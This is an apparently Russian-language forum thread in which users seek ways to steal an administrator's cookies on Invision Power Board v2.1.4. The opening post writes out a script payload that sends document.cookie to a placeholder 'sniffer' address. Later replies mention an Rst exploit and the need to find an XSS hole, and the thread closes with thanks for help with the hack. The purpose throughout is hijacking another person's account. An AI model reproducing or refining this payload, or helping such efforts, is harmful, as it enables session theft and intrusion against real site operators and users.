Invision Power Board v2.1.4
 

Как украсть куки у админа Invision Power Board v2.1.4 .

<script>img = new Image(); img.src = "Тут адрес сниффера?data="+document.cookie;</script> . Это всё я отправляю в личку . Но ему приходит всё в этом же виде, как быть ?

А сплойт от Rst не работает там?

Надо xss'ку искать. Хотя я сомневаюсь, что в ipb 2.1.4 она есть. Так бы любой дурак мог украсть куки у кого угодно.

Никогда не слышал про это, сейчас почитаю

Не это не то. Может кто знает еще способы ?

Скорее всего пофиксали
стучи в асю, может че-нить найдем

а поподробнее про взлом можно? ) какую багу юзали - как заливали

Большое спасибо всем кто участвовал......Отдельное спасибо Goudini - просто монстр .....- поставьте кому не лень от меня ему + ......сам пока не могу.